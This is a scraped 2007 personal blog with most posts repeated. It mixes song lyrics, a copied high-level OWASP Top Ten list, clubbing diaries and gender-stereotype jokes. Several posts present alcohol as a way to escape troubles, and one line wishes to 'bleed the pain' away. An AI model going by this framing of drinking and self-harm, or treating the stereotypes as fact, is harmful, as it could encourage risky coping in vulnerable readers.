Set Up: Ambient lighting adjustment arranged by organiser with multiple giant reflectors on single subject, beneficial for beginners;
Wind machine for outdoor use, superb hair "styling" effects as seen in pics
Who should attend: Newbies who have no idea how fashion/portraiture shoot is done, aspiring photographers looking to expand portfolio, photographers who like to learn and mingle, or even experts who like to share ideas, and perhaps anyone who loves Models :P
Location: Urban setting, to be released to confirmed participants only
Min 5, max 7 photographers per session
Email to MODELinn@ gmail.com to book your place now!
yupps, haha. i feel like im helping these people to advert. lol. but. hey. its erally interesting la! =D
damnit. whosgoing is DOWN! F-ing shit! rah!!
haha. no interesting topics to read liao. RAH!
ltr!
On the outside all we see is clay
That hides the perfect light
But no one really knows the pain inside
I understand how much it hurts
To be the one who's never seen
The missing pages in a magazine
No one knows you anymore
You're lost inside the walls you've built
No one knows you anymore
A prison deep within your soul
There is One who sees it all
He'll give you life you've never dreamed
He can see the pain underneath your skin
It's hard to see you fading
Nothing that I do can bring you back
I pray to God that you don't fade away
Your addiction is a symptom of a lost and dying soul
Without Jesus there's no hope at all
There's so much more this is not the end
It's all in your hands don't throw it away
A beautiful life with so much to give
The image of God underneath your skin
The beauty of God underneath your skin (3x)
omg. i finally had liqueuer(wadeva the damn spelling is) with coffee.
haha.
and that was like.inf ront of my parents
and that was the most. terrifying thing to do.
drink alcoholic coffee in front of my parents!
imagine if i get drunk.!?! i mean, its a bloodly 15.4% alcohol okay! with my coffee! its like, a teaspoon of liqueuer and irish cream to a lil dainty cup of coffee! wth! if i got drunk/high. what will my parents think!? THEY WILL SO NOT LET ME DRINK ANYMORE FOR THE REST OF MY LIFE! they will literally ban me from drinking! and clubbing! omg. ITS DAMN HIGH LEH! 15.4 percent ALCOHOL LEH! can get drunk de leh! ONE BLARDY TEASPOON FULL OF it TO MY COFFEE!!
everyone will most certainly laugh at me. at my inability to control my alcohol intake! at my incompetence at drinking! oMG! this is really really BAD!
I NEARLY GOT DRUNK!
okay. fine. i was nearly drunk
okay.. i could haeve gotten drunk
FINE.. i might have gotten drunk
okokayokaokay.. i couldn't have gotten drunk..
FINE DAMNIT! there's absolut-ly no way of me getting drunk! haha.
haha. this is so fucked up. LOL.
=)
but seriously. i dont know why my parents dont allow me to drink. i mean, im alr 20, okay soon, and im very very confident i can definately hold my alcohol much much better then them. ahha. okay. i think my dad was much wilder then me when he was my age. haha. I THINK MY DAD'S COOL! he used to drink and smoke! like. typical gangster! and now. my dad's so HIP! so COOL! i should bring him go club with me! okay. my dad goes like. to ms once/twice a year w my mum. OMG! my PARENTS ARE SO DAMN COOL! haha. they will go with my aunties and uncles! OMG! my RELATIVES ARE SO DAMN COOL! I DIDN'T REALISED MY FAMILY WAS COOL! haha. so hip sia. haha. i shoudl really follow in my dad's footsteps. haha =)
this is getting crazy. haha..
but its true, my dad used to bring my mum to like, ms, zouk to well, drink. okay la. pub there la. not dance floor. i will so faint sia. haha.
okay. that was fricking random. =)
oh .i have more alcohol at home finally! haha. baileys irish cream! haha. rawks. now my coffee will taste so much better =)
okay. im still hoping for well, stronger stuff, like vodka, chivas, brandy/whiskey. oh wells. its the start right? haha
i suddenly love my parents so much. okay. MORE, cos they are so damn COOLL!
but still. i need my alcohol fix. haha. oh wells. rah!
haha..
okay. i sound desperate. im NOT addicted. i just need some HIGH drinks to make my troubles go away. =)
haha..
okay. happy new year to all of you.
im tired.
and i wanna slp.
GOOD NIGHT!
haha.
and that was like.inf ront of my parents
and that was the most. terrifying thing to do.
drink alcoholic coffee in front of my parents!
imagine if i get drunk.!?! i mean, its a bloodly 15.4% alcohol okay! with my coffee! its like, a teaspoon of liqueuer and irish cream to a lil dainty cup of coffee! wth! if i got drunk/high. what will my parents think!? THEY WILL SO NOT LET ME DRINK ANYMORE FOR THE REST OF MY LIFE! they will literally ban me from drinking! and clubbing! omg. ITS DAMN HIGH LEH! 15.4 percent ALCOHOL LEH! can get drunk de leh! ONE BLARDY TEASPOON FULL OF it TO MY COFFEE!!
everyone will most certainly laugh at me. at my inability to control my alcohol intake! at my incompetence at drinking! oMG! this is really really BAD!
I NEARLY GOT DRUNK!
okay. fine. i was nearly drunk
okay.. i could haeve gotten drunk
FINE.. i might have gotten drunk
okokayokaokay.. i couldn't have gotten drunk..
FINE DAMNIT! there's absolut-ly no way of me getting drunk! haha.
haha. this is so fucked up. LOL.
=)
but seriously. i dont know why my parents dont allow me to drink. i mean, im alr 20, okay soon, and im very very confident i can definately hold my alcohol much much better then them. ahha. okay. i think my dad was much wilder then me when he was my age. haha. I THINK MY DAD'S COOL! he used to drink and smoke! like. typical gangster! and now. my dad's so HIP! so COOL! i should bring him go club with me! okay. my dad goes like. to ms once/twice a year w my mum. OMG! my PARENTS ARE SO DAMN COOL! haha. they will go with my aunties and uncles! OMG! my RELATIVES ARE SO DAMN COOL! I DIDN'T REALISED MY FAMILY WAS COOL! haha. so hip sia. haha. i shoudl really follow in my dad's footsteps. haha =)
this is getting crazy. haha..
but its true, my dad used to bring my mum to like, ms, zouk to well, drink. okay la. pub there la. not dance floor. i will so faint sia. haha.
okay. that was fricking random. =)
oh .i have more alcohol at home finally! haha. baileys irish cream! haha. rawks. now my coffee will taste so much better =)
okay. im still hoping for well, stronger stuff, like vodka, chivas, brandy/whiskey. oh wells. its the start right? haha
i suddenly love my parents so much. okay. MORE, cos they are so damn COOLL!
but still. i need my alcohol fix. haha. oh wells. rah!
haha..
okay. i sound desperate. im NOT addicted. i just need some HIGH drinks to make my troubles go away. =)
haha..
okay. happy new year to all of you.
im tired.
and i wanna slp.
GOOD NIGHT!
Tuesday, February 20, 2007
damnit.
im in need of an alcohol fix..
bad...
really really bad...
and it doesn't help that im reading blogs that talk about, alcohol and clubbing.
and good food.
and am in a fucked up mood
nope
for once, it isn't something
or someone,
or somebody.
its just me
and my stupid feelings.
sucky shit.
i need to get away from this mess right now.
i
need
alcohol
bad....
im aiming at least, 10 shots this time round.
with one waterfall, at least. cos needlike, everything else la. =)
who wanna go with me?
anyone can go
please leave your name and number in black and white, photocopy on both sides, send to me, cc HR, PR, CEO, E&P, Finance, GM secretary, and please allow up to 3 working days for your requests to be processed. thank you =)
miss me will ya?
betcha not though..
damned. i suddenly seriously hope that uncle kc isn't reading my blog..
else he'll surely have my head!!! rah!
btw. im planning to go for a mission trip. word is - PLANNING, INTENDING, but not confirmed yet. hmm. yea. i think i should make full use of my time b4 i enlist, go mission trip, start preping for the gig ima having in end may, and work a lil probably?? oh wells. so pray for me for the mission trip.i really wanna go? i eman. i really wanna exp the life and culture there, and see what i can do to help those lil kids and all. so weird. haha. suddenly all the text book ans are out. haha. OH WELLS..
=)
goodnight
and happy cny =)
There's a fracture in the color bar
In the backseat of a parked car
By the liquor store where the streetlight
Keep you company til the next night
In the same town, there's the same scar
In the same glow of the liquor store
By the freeway, where the headlight
Keep her company til the next night
(chorus)
Oh! Gravity!
Why can't we seem to keep it together?
Sons of my enemies,
Why can't we seem to keep it together?
In the back room of the pentagon
There's a thin man with a line drawn
With a red jaw and a red bite
Watch the headline on the next night
(chorus)
Oh! Gravity!
Why can't we seem to keep it together?
Sons of my enemies,
Why can't we seem to keep it together?
Why this tragedy?
Why can't we seem to keep it together?
Oh! Gravity!
Why can't we seem to pull it together?
In the fallout, the fallout
We found out the hype won't get you through
We're connected, connected
I meant it, the hype won't get you through
(chorus)
im in need of an alcohol fix..
bad...
really really bad...
and it doesn't help that im reading blogs that talk about, alcohol and clubbing.
and good food.
and am in a fucked up mood
nope
for once, it isn't something
or someone,
or somebody.
its just me
and my stupid feelings.
sucky shit.
i need to get away from this mess right now.
i
need
alcohol
bad....
im aiming at least, 10 shots this time round.
with one waterfall, at least. cos needlike, everything else la. =)
who wanna go with me?
anyone can go
please leave your name and number in black and white, photocopy on both sides, send to me, cc HR, PR, CEO, E&P, Finance, GM secretary, and please allow up to 3 working days for your requests to be processed. thank you =)
miss me will ya?
betcha not though..
damned. i suddenly seriously hope that uncle kc isn't reading my blog..
else he'll surely have my head!!! rah!
btw. im planning to go for a mission trip. word is - PLANNING, INTENDING, but not confirmed yet. hmm. yea. i think i should make full use of my time b4 i enlist, go mission trip, start preping for the gig ima having in end may, and work a lil probably?? oh wells. so pray for me for the mission trip.i really wanna go? i eman. i really wanna exp the life and culture there, and see what i can do to help those lil kids and all. so weird. haha. suddenly all the text book ans are out. haha. OH WELLS..
=)
goodnight
and happy cny =)
There's a fracture in the color bar
In the backseat of a parked car
By the liquor store where the streetlight
Keep you company til the next night
In the same town, there's the same scar
In the same glow of the liquor store
By the freeway, where the headlight
Keep her company til the next night
(chorus)
Oh! Gravity!
Why can't we seem to keep it together?
Sons of my enemies,
Why can't we seem to keep it together?
In the back room of the pentagon
There's a thin man with a line drawn
With a red jaw and a red bite
Watch the headline on the next night
(chorus)
Oh! Gravity!
Why can't we seem to keep it together?
Sons of my enemies,
Why can't we seem to keep it together?
Why this tragedy?
Why can't we seem to keep it together?
Oh! Gravity!
Why can't we seem to pull it together?
In the fallout, the fallout
We found out the hype won't get you through
We're connected, connected
I meant it, the hype won't get you through
(chorus)
Monday, February 19, 2007
The OWASP Top Ten provides a powerful awareness document for web application security. The OWASP Top Ten represents a broad consensus about what the most critical web application security flaws are. Project members include a variety of security experts from around the world who have shared their expertise to produce this list. There are currently versions in English, French, Japanese, and Korean. A Spanish version is in the works. We urge all companies to adopt this awareness document within their organization and start the process of ensuring that their web applications do not contain these flaws. Adopting the OWASP Top Ten is perhaps the most effective first step towards changing the software development culture within your organization into one that produces secure code.
For the first time since 2004, the Open Web Application Security Project (OWASP) is updating its Top 10 Vulnerabilities list
heres the top 10, =)
A1 Unvalidated Input
Information from web requests is not validated before being used by a web application. Attackers can use these flaws to attack backend components through a web application.
A2 Broken Access Control
Restrictions on what authenticated users are allowed to do are not properly enforced. Attackers can exploit these flaws to access other users' accounts, view sensitive files, or use unauthorized functions.
A3 Broken Authentication and Session Management
Account credentials and session tokens are not properly protected. Attackers that can compromise passwords, keys, session cookies, or other tokens can defeat authentication restrictions and assume other users' identities.
A4 Cross Site Scripting
The web application can be used as a mechanism to transport an attack to an end user's browser. A successful attack can disclose the end user?s session token, attack the local machine, or spoof content to fool the user.
A5 Buffer Overflow
Web application components in some languages that do not properly validate input can be crashed and, in some cases, used to take control of a process. These components can include CGI, libraries, drivers, and web application server components.
A6 Injection Flaws
Web applications pass parameters when they access external systems or the local operating system. If an attacker can embed malicious commands in these parameters, the external system may execute those commands on behalf of the web application.
A7 Improper Error Handling
Error conditions that occur during normal operation are not handled properly. If an attacker can cause errors to occur that the web application does not handle, they can gain detailed system information, deny service, cause security mechanisms to fail, or crash the server.
A8 Insecure Storage
Web applications frequently use cryptographic functions to protect information and credentials. These functions and the code to integrate them have proven difficult to code properly, frequently resulting in weak protection.
A9 Application Denial of Service
Attackers can consume web application resources to a point where other legitimate users can no longer access or use the application. Attackers can also lock users out of their accounts or even cause the entire application to fail.
A10 Insecure Configuration Management
Having a strong server configuration standard is critical to a secure web application. These servers have many configuration options that affect security and are not secure out of the box.
For the first time since 2004, the Open Web Application Security Project (OWASP) is updating its Top 10 Vulnerabilities list
heres the top 10, =)
A1 Unvalidated Input
Information from web requests is not validated before being used by a web application. Attackers can use these flaws to attack backend components through a web application.
A2 Broken Access Control
Restrictions on what authenticated users are allowed to do are not properly enforced. Attackers can exploit these flaws to access other users' accounts, view sensitive files, or use unauthorized functions.
A3 Broken Authentication and Session Management
Account credentials and session tokens are not properly protected. Attackers that can compromise passwords, keys, session cookies, or other tokens can defeat authentication restrictions and assume other users' identities.
A4 Cross Site Scripting
The web application can be used as a mechanism to transport an attack to an end user's browser. A successful attack can disclose the end user?s session token, attack the local machine, or spoof content to fool the user.
A5 Buffer Overflow
Web application components in some languages that do not properly validate input can be crashed and, in some cases, used to take control of a process. These components can include CGI, libraries, drivers, and web application server components.
A6 Injection Flaws
Web applications pass parameters when they access external systems or the local operating system. If an attacker can embed malicious commands in these parameters, the external system may execute those commands on behalf of the web application.
A7 Improper Error Handling
Error conditions that occur during normal operation are not handled properly. If an attacker can cause errors to occur that the web application does not handle, they can gain detailed system information, deny service, cause security mechanisms to fail, or crash the server.
A8 Insecure Storage
Web applications frequently use cryptographic functions to protect information and credentials. These functions and the code to integrate them have proven difficult to code properly, frequently resulting in weak protection.
A9 Application Denial of Service
Attackers can consume web application resources to a point where other legitimate users can no longer access or use the application. Attackers can also lock users out of their accounts or even cause the entire application to fail.
A10 Insecure Configuration Management
Having a strong server configuration standard is critical to a secure web application. These servers have many configuration options that affect security and are not secure out of the box.
this is really cool, makes me wanna learn slide guitar instd of shred guitar. haha =)
I'm coming out of my cage
And I've been doing just fine
Gotta gotta be down
Because I want it all
It started out with a kiss
How did it end up like this
It was only a kiss, it was only a kiss
Now I'm falling asleep
And she's calling a cab
While he's having a smoke
And she's taking a drag
Now they're going to bed
And my stomach is sick
And it's all in my head
But she's touching his-chest
Now, he takes off her dress
Now, letting me go
And I just can't look its killing me
And taking control
Jealousy, turning saints into the sea
Swimming through sick lullabies
Choking on your alibis
But it's just the price I pay
Destiny is calling me
Open up my eager eyes
'Cause I'm Mr Brightside
I'm coming out of my cage
And I've been doing just fine
Gotta gotta be down
Because I want it all
It started out with a kiss
How did it end up like this
It was only a kiss, it was only a kiss
Now I'm falling asleep
And she's calling a cab
While he's having a smoke
And she's taking a drag
Now they're going to bed
And my stomach is sick
And it's all in my head
But she's touching his-chest
Now, he takes off her dress
Now, letting me go
Cause I just can't look its killing me
And taking control
Jealousy, turning saints into the sea
Swimming through sick lullabies
Choking on your alibis
But it's just the price I pay
Destiny is calling me
Open up my eager eyes
'Cause I'm Mr Brightside
I never...
I never...
I never...
I never...
Sunday, February 18, 2007
have you ever been so high? and yet, came crashing down back all the way to earth, and continue into hell the next moment?
been in a situation whereby you are slated to be the next BIG thing, and yet, got snubbed?
i have.
and the feeling sucks.
the feeling is the same as,
falling for someone, only to find that, he/she is oblivious to you. unknown of your presence around him/her, and not even thinking about you when you think about him/her all day long.
crappy feeling right?
who likes it?
i know i don't.
its a brand new (chinese) year, and everyone around me is getting ready to put on their new clothes, new makeup, new shoes, new this new that for the start of the new chinese year.
of course, the time now is to be taken advantaged of. like, use your parents money to buy the stuffs that you want, eating all sinfully heavenly foodstocks your parents TRIED their best to hide from you. =)
have you ever noticed the family besides you when you are done shopping, sitting somewhere in a cafe or resturant?
did you notice the couple walking hand in hand on your way to the car?
did you notice the family reunion dinner in the table next to you? that is, assuming you had reunion dinner in a resturant.
what were their reactions?
who were the people there?
how were they acting?
why are they acting the way they do?
did you notice anything?
i did.
did you notice your family gathering?
how did they act?
how do they correspond with one another?
what type of converstation do they make with each other?
why do they want to sit the places that they sit around the table?
found anything interesting?
seen anything that could be said as, mind-boggling?
i did.
i compared the jovial and hearty atmosphere around me with the me behind the facade, behind the mask that i wore, behind the veil i kept on.
and really, the feeling sucks.
imagine one day, you wake up, to find yourself, void of emotions, empty of feelings, deluded of your own presence, a zombie-like feeling washes over you.
that was how i felt.
i used to be a covivial and jocund person.
i still am.
i still am the kid i was when i grew up with my friends.
i am still the same person whom gotten his PSLE score, O level results, and going into polytechnic
i WILL be the same person who is going to collect his Diploma, enlists into the army, and when O.R.D from the army.
yes, i wont change.
but no.
the mask will still be there.
the veil will always be there.
the facade is a MUST.
a necessity.
a desideratum.
and it won't ever go.
for now at least.
the feeling of loneliness engulfs me like a sea washes over the sand.
i wish i could drink it all away.
i wish i can bleed the pain in me away.
i wish i could turn back time.
i wish i'd grow up suddenly.
to be in the work force
or to be in the army.
soon.
damnit.
i miss you.
who's this you? some may ask....
ask me no questions and i'll tell you no lies.
all i can say is.
you'll never believe its you.
because, i couldn't too.
but now, i do.
and i wish you'd miss me too.
i really really do.
been in a situation whereby you are slated to be the next BIG thing, and yet, got snubbed?
i have.
and the feeling sucks.
the feeling is the same as,
falling for someone, only to find that, he/she is oblivious to you. unknown of your presence around him/her, and not even thinking about you when you think about him/her all day long.
crappy feeling right?
who likes it?
i know i don't.
its a brand new (chinese) year, and everyone around me is getting ready to put on their new clothes, new makeup, new shoes, new this new that for the start of the new chinese year.
of course, the time now is to be taken advantaged of. like, use your parents money to buy the stuffs that you want, eating all sinfully heavenly foodstocks your parents TRIED their best to hide from you. =)
have you ever noticed the family besides you when you are done shopping, sitting somewhere in a cafe or resturant?
did you notice the couple walking hand in hand on your way to the car?
did you notice the family reunion dinner in the table next to you? that is, assuming you had reunion dinner in a resturant.
what were their reactions?
who were the people there?
how were they acting?
why are they acting the way they do?
did you notice anything?
i did.
did you notice your family gathering?
how did they act?
how do they correspond with one another?
what type of converstation do they make with each other?
why do they want to sit the places that they sit around the table?
found anything interesting?
seen anything that could be said as, mind-boggling?
i did.
i compared the jovial and hearty atmosphere around me with the me behind the facade, behind the mask that i wore, behind the veil i kept on.
and really, the feeling sucks.
imagine one day, you wake up, to find yourself, void of emotions, empty of feelings, deluded of your own presence, a zombie-like feeling washes over you.
that was how i felt.
i used to be a covivial and jocund person.
i still am.
i still am the kid i was when i grew up with my friends.
i am still the same person whom gotten his PSLE score, O level results, and going into polytechnic
i WILL be the same person who is going to collect his Diploma, enlists into the army, and when O.R.D from the army.
yes, i wont change.
but no.
the mask will still be there.
the veil will always be there.
the facade is a MUST.
a necessity.
a desideratum.
and it won't ever go.
for now at least.
the feeling of loneliness engulfs me like a sea washes over the sand.
i wish i could drink it all away.
i wish i can bleed the pain in me away.
i wish i could turn back time.
i wish i'd grow up suddenly.
to be in the work force
or to be in the army.
soon.
damnit.
i miss you.
who's this you? some may ask....
ask me no questions and i'll tell you no lies.
all i can say is.
you'll never believe its you.
because, i couldn't too.
but now, i do.
and i wish you'd miss me too.
i really really do.
Saturday, February 17, 2007
To see you when I wake up
Is a gift I didn't think could be real.
To know that you feel the same as I do
Is a three-fold, Utopian dream.
You do something to me that I can't explain.
So would I be out of line if I said "I miss you"?
I see your picture.
I smell your skin on
The empty pillow next to mine.
You have only been gone ten days,
But already I'm wasting away.
I know I'll see you again
Whether far or soon.
But I need you to know that I care,
And I miss you.
its a dream. still.....
Is a gift I didn't think could be real.
To know that you feel the same as I do
Is a three-fold, Utopian dream.
You do something to me that I can't explain.
So would I be out of line if I said "I miss you"?
I see your picture.
I smell your skin on
The empty pillow next to mine.
You have only been gone ten days,
But already I'm wasting away.
I know I'll see you again
Whether far or soon.
But I need you to know that I care,
And I miss you.
its a dream. still.....
damn. haha.
feeling damn awake now. just had a bath.
like. finally went to MOS today. damn happy. haha. crowd was okay, but cos my friends weren't so. into r&b/hiphop, so went to the trance/techno aprt and danced the night away. haha.
honestly. im starting to hate ah mah. haha. koped all my waterfall! rah! my frist time leh! i barely had a proper sip, and its gone. =( someone treat me waterfall okay?
usually, when im at a new club, i'll usually take a picture to prove that i've been there. BUT! haha. took a pic at the damned blardy toliet sign. haha. it looked quite funny at first, but its like. weird suddenly. shit. forgot to take the stamp. rah!
ohoh. saw andrea de' cruz and adrian pang, seriously, adrian danced like an elephant humping a lion, and okay. andrea was better. haha. shit. shouldve like. bioed her. haha. but. didn't. nice leh. decided not too. haha.. anyway. i think they're like. real touchy and all? unless cos, they were filinmg or smthg. BUT. i dont see no cameras leh, and they were like. just beside me. so cannot be. oh wells..
hmm.. got loads more. haha. had whiskey dry, shots, brandy, ktv, and erm. more food? haha. this is gettting addictive. haha. i dont know why im starting to like clubbing again. okay. i used to like, just that i havent been. so. i think i shd try to make sure i dont over do it. i've got people to think of. i think there's some people who dont really like me to club. so i think i wont go TOO OFTEN. im sorry. i think i'll go? but not so often la. okay? compromise? if you want me to not go. i wont, on one condition.. that is....
if ***** **** **** **
fair nuff?? =)
shall slp liao. tml giving tuition in the morn. NIGHTS PEEPS!
rakw out. =)
shall post my toilet picture soon. haha. stupid shittt.... =)
feeling damn awake now. just had a bath.
like. finally went to MOS today. damn happy. haha. crowd was okay, but cos my friends weren't so. into r&b/hiphop, so went to the trance/techno aprt and danced the night away. haha.
honestly. im starting to hate ah mah. haha. koped all my waterfall! rah! my frist time leh! i barely had a proper sip, and its gone. =( someone treat me waterfall okay?
usually, when im at a new club, i'll usually take a picture to prove that i've been there. BUT! haha. took a pic at the damned blardy toliet sign. haha. it looked quite funny at first, but its like. weird suddenly. shit. forgot to take the stamp. rah!
ohoh. saw andrea de' cruz and adrian pang, seriously, adrian danced like an elephant humping a lion, and okay. andrea was better. haha. shit. shouldve like. bioed her. haha. but. didn't. nice leh. decided not too. haha.. anyway. i think they're like. real touchy and all? unless cos, they were filinmg or smthg. BUT. i dont see no cameras leh, and they were like. just beside me. so cannot be. oh wells..
hmm.. got loads more. haha. had whiskey dry, shots, brandy, ktv, and erm. more food? haha. this is gettting addictive. haha. i dont know why im starting to like clubbing again. okay. i used to like, just that i havent been. so. i think i shd try to make sure i dont over do it. i've got people to think of. i think there's some people who dont really like me to club. so i think i wont go TOO OFTEN. im sorry. i think i'll go? but not so often la. okay? compromise? if you want me to not go. i wont, on one condition.. that is....
if ***** **** **** **
fair nuff?? =)
shall slp liao. tml giving tuition in the morn. NIGHTS PEEPS!
rakw out. =)
shall post my toilet picture soon. haha. stupid shittt.... =)
Thursday, February 15, 2007
okay. i got this from someone's webbie. =) read and laugh at the maniacs at google. okokay. dont blame them, the google team is just really overworked and underpaid, without enough sleep and without enough sex? haha. okay. that sounds wrong. but.. here it goes
taken from www.fireangelism.com
haha. yea. this is damnn.. stupid. LOL..
According to FLAP (Fatal Light Awareness Program), from 1993 through the fall of 2006, 37726 dead birds have been salvaged after colliding with windows in Toronto alone.
okokay. thought i'd just share this out with the less fortuante people out there who dont have a date ytd, like me. =D haha. go on, laugh! its insanely dumb to do this kinda stuffs. i mean, imagine you're from anderson secondary school, you dont jolly well tell people you are from A.S.S!? you literally tell them you're from anderson, haha. unlike everyone else wehre the acroynme is enough. =x
okay. i think im suddenly crazy. shall cs a lil b4 going back to my lovely ff12. nights all!
on a side note. my blardy hamstring is acting up again, must definately been the stupid tennis game. haha. sucks man. can't walk properly and that means, no soccer for a whole month. knn...
Did you Google yesterday?
Did you notice that something was missing with their new Valentine’s Day Google logo?
I thought I’d write and tell them that they were missing a consonant.
They replied!
from help@google.com
to aphroditus(at)gmail.com
date Feb 15, 2007 5:26 AM
subject Re: [#113282799] Googe?
signed-by google.com
mailed-by trakken.google.comThank you for your feedback about our logo. As you may know, from time to time we modify the Google logo in honor of different holidays. In celebration of Valentine’s Day, our logo shows a chocolate covered strawberry. The chocolate forms the letter “G” and the stem of the strawberry forms the letter “L.”
We appreciate your taking the time to contact us about our Valentine’s Day doodle, and we’ll keep your feedback in mind for the future.
Regards,
The Google Team
LIES ALL LIES! Hehe.
That stem sure didn’t look like an “L” to me. More like the tip of a “G”. Don’t you think?
There’s even a short write up explaining the new logo design HERE.
Too lazy to click? Nah:
Strawberries are red, stems are green…
2/14/2007 09:51:00 AM
Posted by Dennis Hwang, Google DoodlerYou may have noticed today’s Google Doodle on our homepage in celebration of romance and good food (something we consider extremely important).
When you look at the logo, you may worry that we forgot our name overnight, skipped a letter, or have decided that “Googe” has a better ring to it. None of the above. I just know that those with true romance and poetry in their soul will see the subtlety immediately. And if you’re feeling grouchy today, may I suggest eating a strawberry.
A very happy Valentine’s Day to everyone!
Sure or not?
I’d prefer it if he had said something like “we took L out of it because L is the first letter of Love and Valentine’s day is clearly NOT a day of love (at least, not anymore) but a blatant blood-sucking soul-reaping over-hyped marketing gimmick, brainchild of the Let’s Just Rape The Spirit of Every Holiday and Festival By Making People Buy Over Priced Things Other People Don’t Fucking Need But Think That They Do Because Everybody Else Is Getting Them Too Association.”
But Dennis sounds ~KiUt~! Hmmm. Must find out who this fella is.
An excerpt from Wikipedia:
“…..Dennis Hwang, or Hwang Jung-mok is a graphic artist who designs the festive logos for Google on special days….….Born in Knoxville, Tennessee, he moved to Korea when he was about five years old….
….His doodles during these years were frowned upon, but are now his source of income and pleasure….
…His actual position was as Google’s international webmaster, which made him responsible for all of their international content and kept him quite busy…
Oooohhh. Theres even a mugshot of him! Me likey. Wanna take home ! Have tea and scones while we sit around the verandah making idle conversation about the weather. _Koff_
I freaking love how Google actually take the time to change the logo for every major celebration. I hope they come up with something for Chinese New Year!
Oh and by the way, from Urban Dictionary,
Googe is a sexual act originating in the Amazon rainforest. It is where the man wraps his legs around a womans face and googe’s like a bad badger. It is now used as an exclamation of hornyness or used as a term instead of fuck, or also can be used as an expression deep hatred. Eg, I fucking want to googe ya mam
LMAOROF!!11one. I wonder if the people at Google knew this. The dirty bastards.
Google and it’s “I’m Feeling Lucky” button has got to be one of the best-EST thing that’s evAr happened to the internet.
Read up some trivia on the I’m Feeling Lucky button on Wikipedia right HERE, again, because Wikipedia is my best friend.
I heart Google very much! It’s so damn kiut!!!111~~
^_^ V
taken from www.fireangelism.com
haha. yea. this is damnn.. stupid. LOL..
According to FLAP (Fatal Light Awareness Program), from 1993 through the fall of 2006, 37726 dead birds have been salvaged after colliding with windows in Toronto alone.
okokay. thought i'd just share this out with the less fortuante people out there who dont have a date ytd, like me. =D haha. go on, laugh! its insanely dumb to do this kinda stuffs. i mean, imagine you're from anderson secondary school, you dont jolly well tell people you are from A.S.S!? you literally tell them you're from anderson, haha. unlike everyone else wehre the acroynme is enough. =x
okay. i think im suddenly crazy. shall cs a lil b4 going back to my lovely ff12. nights all!
on a side note. my blardy hamstring is acting up again, must definately been the stupid tennis game. haha. sucks man. can't walk properly and that means, no soccer for a whole month. knn...
something hillarious.. but not to be taken too seriously. =)
NICKNAMES
* If Laura, Kate and Sarah go out for lunch, they will call each other Laura, Kate and Sarah.
* If Mike, Dave and John go out, they will affectionately refer to each other as Fat Boy, Godzilla and Four-eyes.
EATING OUT
* When the bill arrives, Mike, Dave and John will each throw in $20, even though it's only for $32.50. None of them will have anything smaller and none will actually admit they want change back.
* When the girls get their bill, out come the pocket calculators.
MONEY
* A man will pay $2 for a $1 item he needs.
* A woman will pay $1 for a $2 item that she doesn't need but it's on sale
BATHROOMS
* A man has six items in his bathroom: toothbrush and toothpaste, shaving cream, razor, a bar of soap, and a towel from M&S.
* The average number of items in the typical woman's bathroom is 337. A man would not be able to identify more than 20 of these items.
ARGUMENTS
* A woman has the last word in any argument.
* Anything a man says after that is the beginning of a new argument.
CATS
* Women love cats.
* Men say they love cats, but when women aren't looking, men kick cats.
FUTURE
* A woman worries about the future until she gets a husband.
* A man never worries about the future until he gets a wife.
SUCCESS
* A successful man is one who makes more money than his wife can spend.
* A successful woman is one who can find such a man.
MARRIAGE
* A woman marries a man expecting he will change, but he doesn't.
* A man marries a woman expecting that she won't change, but she does.
DRESSING UP
* A woman will dress up to go shopping, water the plants, empty the bins, answer the phone, read a book, and get the post.
* A man will dress up for weddings and funerals.
NATURAL
* Men wake up as good-looking as they went to bed.
* Women somehow deteriorate during the night.
OFFSPRING
* Ah, children. A woman knows all about her children. She knows about dentist appointments and romances, best friends, favourite foods, secret fears and hopes and dreams.
* A man is vaguely aware of some short people living in the house.
THOUGHT FOR THE DAY
* Any married man should forget his mistakes. There's no use in two people remembering the same thing.
* What a woman says: C'mon..This place is a mess. You and I need to clean.Your trousers are on the floor and you'll have no clothes if we don't do the laundry now.
* What a man hears: C'MON... Blah, blah, blah... YOU AND I... Blah, blah, blah, blah, blah... ON THE FLOOR... Blah, blah, blah, NO CLOTHES, blah, blah, blah, blah, NOW.
shit. i hate circuits man. kana curb twice today. like. wth! haha. and i went through the damned crank course either too fast or too slow!! haha. poor idiots behind me had to like. stare in wonder amazement as i either hit the damn curb, or slowly inch, okay i doubt it was inched, it was like. millimetered my way thru the damn course. haha. poor them. =)
hungry and desperate for football. =)
later peeps. time to WoW. =)
NICKNAMES
* If Laura, Kate and Sarah go out for lunch, they will call each other Laura, Kate and Sarah.
* If Mike, Dave and John go out, they will affectionately refer to each other as Fat Boy, Godzilla and Four-eyes.
EATING OUT
* When the bill arrives, Mike, Dave and John will each throw in $20, even though it's only for $32.50. None of them will have anything smaller and none will actually admit they want change back.
* When the girls get their bill, out come the pocket calculators.
MONEY
* A man will pay $2 for a $1 item he needs.
* A woman will pay $1 for a $2 item that she doesn't need but it's on sale
BATHROOMS
* A man has six items in his bathroom: toothbrush and toothpaste, shaving cream, razor, a bar of soap, and a towel from M&S.
* The average number of items in the typical woman's bathroom is 337. A man would not be able to identify more than 20 of these items.
ARGUMENTS
* A woman has the last word in any argument.
* Anything a man says after that is the beginning of a new argument.
CATS
* Women love cats.
* Men say they love cats, but when women aren't looking, men kick cats.
FUTURE
* A woman worries about the future until she gets a husband.
* A man never worries about the future until he gets a wife.
SUCCESS
* A successful man is one who makes more money than his wife can spend.
* A successful woman is one who can find such a man.
MARRIAGE
* A woman marries a man expecting he will change, but he doesn't.
* A man marries a woman expecting that she won't change, but she does.
DRESSING UP
* A woman will dress up to go shopping, water the plants, empty the bins, answer the phone, read a book, and get the post.
* A man will dress up for weddings and funerals.
NATURAL
* Men wake up as good-looking as they went to bed.
* Women somehow deteriorate during the night.
OFFSPRING
* Ah, children. A woman knows all about her children. She knows about dentist appointments and romances, best friends, favourite foods, secret fears and hopes and dreams.
* A man is vaguely aware of some short people living in the house.
THOUGHT FOR THE DAY
* Any married man should forget his mistakes. There's no use in two people remembering the same thing.
* What a woman says: C'mon..This place is a mess. You and I need to clean.Your trousers are on the floor and you'll have no clothes if we don't do the laundry now.
* What a man hears: C'MON... Blah, blah, blah... YOU AND I... Blah, blah, blah, blah, blah... ON THE FLOOR... Blah, blah, blah, NO CLOTHES, blah, blah, blah, blah, NOW.
